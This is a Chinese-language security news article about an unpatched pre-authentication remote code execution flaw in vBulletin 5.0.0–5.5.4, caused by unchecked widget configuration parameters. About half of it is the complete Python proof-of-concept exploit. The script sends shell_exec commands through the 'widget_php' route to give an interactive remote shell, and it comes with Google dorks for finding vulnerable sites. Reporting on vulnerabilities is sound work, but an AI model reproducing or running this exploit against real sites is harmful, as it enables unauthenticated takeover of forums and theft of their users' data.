vBulletin 是一个强大,灵活并可完全根据自己的需要定制的论坛程序套件。使用PHP Web 脚本语言编写,使用MySQL数据库引擎。vBulletin 是世界上用户非常广泛的PHP论坛,很多大型论坛都选择vBulletin作为自己的社区。据统计,互联网上共有超过10万个基于vBulletin的网站,包括Fortune 500和Alexa Top 100万的公司网站和论坛。因此,该0 day漏洞细节的公布会对大量的用户带来影响。
匿名黑客称发现vBulletin中存在一个远程代码执行漏洞,影响vBulletin v 5.0.0到最新的v 5.5.4版本。该漏洞非常严重的原因不仅在于可以远程利用,还在于漏洞利用并不需要认证。
由于论坛软件包是内部 widget文件通过URL参数接收配置的方式存在漏洞,服务器在分析参数时又没有进行适当的安全检查,导致攻击者可以在系统中注入命令,并远程执行代码。
为了证明该漏洞的可利用性,该匿名黑客还发布了基于python的漏洞利用POC代码,这样其他人就可以很容易地利用该漏洞。POC代码参见:https://seclists.org/fulldisclosure/2019/Sep/31
#!/usr/bin/python # # vBulletin 5.x 0day pre-auth RCE exploit # # This should work on all versions from 5.0.0 till 5.5.4 # # Google Dorks: # - site:*.vbulletin.net # - "Powered by vBulletin Version 5.5.4" import requests import sys if len(sys.argv) != 2: sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0]) params = {"routestring":"ajax/render/widget_php"} while True: try: cmd = raw_input("vBulletin$ ") params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;" r = requests.post(url = sys.argv[1], data = params) if r.status_code == 200: print r.text else: sys.exit("Exploit failed! :(") except KeyboardInterrupt: sys.exit("\nClosing shell...") except Exception, e: sys.exit(str(e))
截至目前,该漏洞还没有被分配CVE编号,同时 vBulletin项目维护人员也没有发布补丁。